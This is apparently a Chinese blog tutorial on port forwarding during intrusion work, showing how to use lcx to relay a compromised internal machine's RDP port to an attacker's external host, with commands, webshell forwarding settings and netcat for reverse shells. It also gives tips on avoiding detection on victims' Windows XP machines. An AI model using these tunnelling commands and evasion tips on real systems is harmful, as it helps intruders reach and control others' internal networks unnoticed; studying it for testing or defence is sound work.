端口转发

端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

中文名

端口转发

外文名

Port forwarding

别    名

隧道

用    途

虚拟机与宿主机之间通信时使用

在网吧通过路由器或者代理连接到外网,而在内网建立和运行网络服务器或FTP服务器是没办法使外网用户直接访问的,通过在路由上的NAT开启建立相应端口转发的映射,你可以指示路由器转发对某一特定网端口(如80 ,为网络服务器或21为FTP服务器) 所有的信息为本地网络。 这意味着,如果一个外部主机试图通过HTTP访问外网的IP加相应端口,就可访问到相应的内网建立的服务器。 外部访问此服务器的用户并不知道服务器是处于内部网络上的。 这种方法被广泛应用于网吧或通过NAT共享上网在内网建立服务器的用户。公安监控系统即通过此方法来监控网吧数据的。 转发端口,比用其它方法更安全更易用, 企业内部可能有很多专业化的服务,比如 ERP 系统,监控系统, OA 系统, CRM 等等,用户不需要移植或者更新现有的服务而单独申请专用的外部IP地址,只需要简单的配置一下网关路由的端口转发功能,即可使互联网上的用户使用这些服务。

端口转发一般常常用于虚拟机与宿主机之间通信时使用。最经常用的如:通过linux的ssh方式通信,本机端口转发连接VMware虚拟机。再者:VirtualBox NAT设置和端口转发等等。

 

 

以上是百度百科的一些内容,我认为,在渗透过程中,端口转发是一个解决由于目标服务器在内网之中而导致端口无法连接的方法。依靠端口转发后,可以回头尝试用NC去get shell。

因为之前没有接触过太多这些东西,所以我将在文章末尾留下一些基础的一些知识。

下面开始介绍一下端口转发,这个讲的比较简单明了:

 

端口转发

顾名思义,就是将端口进行转发,具体哪个端口转发到哪个端口要以应用场景为准,比如我们拿到一台内外服务器 A 的权限,通过扫描发现了同内网的另一台服务器 B 且开了 80 端口,我们该如何使用浏览器访问它呢?我们拿信安之路的图如下:

 

 

从上图中可以看到,我们已经与 A 建立了通道,我们可以在 A 上上传任意文件,执行任意的系统命令,我们如何能够访问 B 的 80 端口?假设 A 是在公网上,有公网 IP,我们可以访问它的任意端口。

1、直接在 A 上执行 curl 命令访问 B 的 80 端口(这种方式不方便我们测试 B 的 80 端口的漏洞,不方便利用)

2、在 A 上开启一个 socks 5 代理,我们使用浏览器设置好代理,将我们的浏览器代理到目标内网,然后访问 B 的 80 端口。

3、在 A 上执行端口转发,将 B 的 80 端口转发到 A 的 8080,然后我们直接用浏览器访问 A 的 8080 端口即可,这个原理就是端口转发

总结一下,端口转发就是将一个端口,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口都可以转发到任意一台可以访问到的 IP 上,通常这个 IP 是公网 IP,方便我们使用。

 

 

 

端口转发有两个概念

1. 正向转发:

攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。

2.反向转发:

被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。

 

介绍一下端口转发的常用工具:lcx,它的作用相当于把目标服务器A上的3389端口转发到具有外网ip地址的B机上(即我们自己的主机或是已经控制的主机),这样链接B机的3389端口就相当于链接A机的3389端口了。lcx程序多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便,因此在很多情况下,都会想方设法在被控制计算机上开启3389端口,然后通过lcx等进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。顺便一提,linux版本的lcx是portmap。

所以,我们可以用lcx监听并转发,只有三种功能:监听,转发,端口转向,命令分别如下

[Usage of Packet Transmit:]

  lcx-<listen|tran|slave> <option> [-log logfile]

 

[option:]

 -listen <ConnectPort> <TransmitPort>

  -tran<ConnectPort> <TransmitHost> <TransmitPort>

 -slave <ConnectHost> <ConnectPort> <TransmitHost><TransmitPort>

Lcx -Listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>

Lcx -tran <等待连接的端口> <目标ip> <目标端口>

Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>

只有三种用法,简单清晰,端口转发一般是listen和slave一起使用的,tran则是用于端口映射。

 

 

Eg:

1确定被控制计算机(机器A)的IP地址

在被控制计算机上开启远程终端,然后执行“ipconfig /all”命令,查看其网络配置情况,如图1所示,该计算机的ip地址为“192.168.80.129”

 

 

 

图1 确定被控制计算机的IP地址

2在被控制计算机(机器A)上执行端口转发命令

在被控制计算机上执行“lcx –slave 218.69.*.* 51 192.168.80.129 3389”,如图2所示,执行完毕后会给出一些提示,如果显示为“Make a Connection to 218.69.*.*:51”则表示端口转发正确。

 

 

 

 

图2在被控制计算机上执行转发命令

说明

lcx一共有三条命令,第一条命令(lcx –lister 51 3389)是在具有外网独立IP的计算机上执行,表示在本机上监听51端口,该端口主要是接受被控制计算机3389端口转发过来的数据。第二条命令 (lcx –slave 218.69.*.* 51 192.168.80.129 3389)表示将本机IP地址为192.168.80.129的3389端口转发到远程地址为“218.69.*.*”的51端口。第三条命令是端口转向。

3在本机(机器B)上执行监听命令

在本机上打开DOS命令提示符,然后到lcx.exe程序所在路径执行“lcx –lister 51 3389”命令,监听51端口,监听成功后,会显示如图3所示的数据。

 

 

 

 

图3 在本机上监听51端口

注意

(1)在本机上监听的端口必须是未使用的端口,可以使用“netstat -an |find “51″ ”命令进行查看,如果没有显示结果则表示51端口可以用来进行监听。

(2)被控制计算机与本机成功建立连接后会不停的显示连接数据,如图4所示,如果未出现数据发送和接受的情况,说明连接建立不成功。

 

 

 

图4 成功建立连接

4在本机使用远程终端进行登录

在DOS提示符下输入“mstsc”命令打开远程终端连接器,输入“127.0.0.1”后单击“连接”按钮进行远程终端连接,在出现登录界面后分别收入用户名和密码,验证通过后,即可远程进入被控制计算机的桌面,如图5所示,输入“ipconfig /all”以及“net user”命令来查看网络配置情况以及用户信息。

 

 

 

图5远程登入被控制计算机

注意

(1)如果被控制计算机是服务器,则在登陆时可以直接进行登陆;如果被控制计算机是Windows XP系统,则最好选择用户不在计算机的时间进行登陆,否则容易被发现。

(2)不要轻易在被控制计算机上建立账号,尤其是Windows XP,建立帐号后,会立即在登陆界面中进行显示。

5查看本地连接

在被控制计算机上使用“netstat -an”查看当前所有的连接时,可以看到被控制计算机时在跟自己进行远程终端连接,如图6所示,而实际的3389端口是跟本机的51端口进行连接的。

 

 

 

图6 查看实际网络连接

本案例通过使用lcx端口转发程序,成功的在本机连入被控制计算机的内网,可以很方便的对该计算机进行远程管理,在进行内网渗透时尤为有用。

 

以上就是在Windows下使用的一个例子

 

2.使用Shell脚本自带的端口转发功能

攻击方端首先执行lcx -listen命令

然后对webshell的脚本转发处进行设置:

本地IP:127.0.0.1

本地端口:

远程IP:(设置成攻击方IP)

远程端口:

最后在攻击者端执行“127.0.0.1:port”

 

Netcat

然后我们就可以用Netcat瑞士军刀去反弹shell:打开服务器的端口,用本地主机连接远程主机的端口;或者是把远程主机的端口转发到本地主机:

nc使用方法:

This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
      [-P proxy_username] [-p source_port] [-q seconds] [-s source]
      [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
      [-x proxy_address[:port]] [destination] [port]
    Command Summary:
        -4      Use IPv4
        -6      Use IPv6
        -b      Allow broadcast
        -C      Send CRLF as line-ending
        -D      Enable the debug socket option
        -d      Detach from stdin
        -h      This help text
        -I length   TCP receive buffer length
        -i secs     Delay interval for lines sent, ports scanned
        -j      Use jumbo frame
        -k      Keep inbound sockets open for multiple connects
        -l      Listen mode, for inbound connects
        -n      Suppress name/port resolutions
        -O length   TCP send buffer length
        -P proxyuser    Username for proxy authentication
        -p port     Specify local port for remote connects
            -q secs     quit after EOF on stdin and delay of secs
        -r      Randomize remote ports
        -S      Enable the TCP MD5 signature option
        -s addr     Local source address
        -T toskeyword   Set IP Type of Service
        -t      Answer TELNET negotiation
        -U      Use UNIX domain socket
        -u      UDP mode
        -V rtable   Specify alternate routing table
        -v      Verbose
        -w secs     Timeout for connects and final net reads
        -X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
        -x addr[:port]  Specify proxy address and port
        -Z      DCCP mode
        -z      Zero-I/O mode [used for scanning]
    Port numbers can be individual or ranges: lo-hi [inclusive]

然后使用它就可以尝试拿到CMD SHELL;

 

 

参考链接:

https://cloud.tencent.com/developer/article/1387125

《Web渗透技术及实战案例解析》

posted @ 2022-08-01 19:57  一只代码弱鸡  阅读(2355)  评论(0编辑  收藏  举报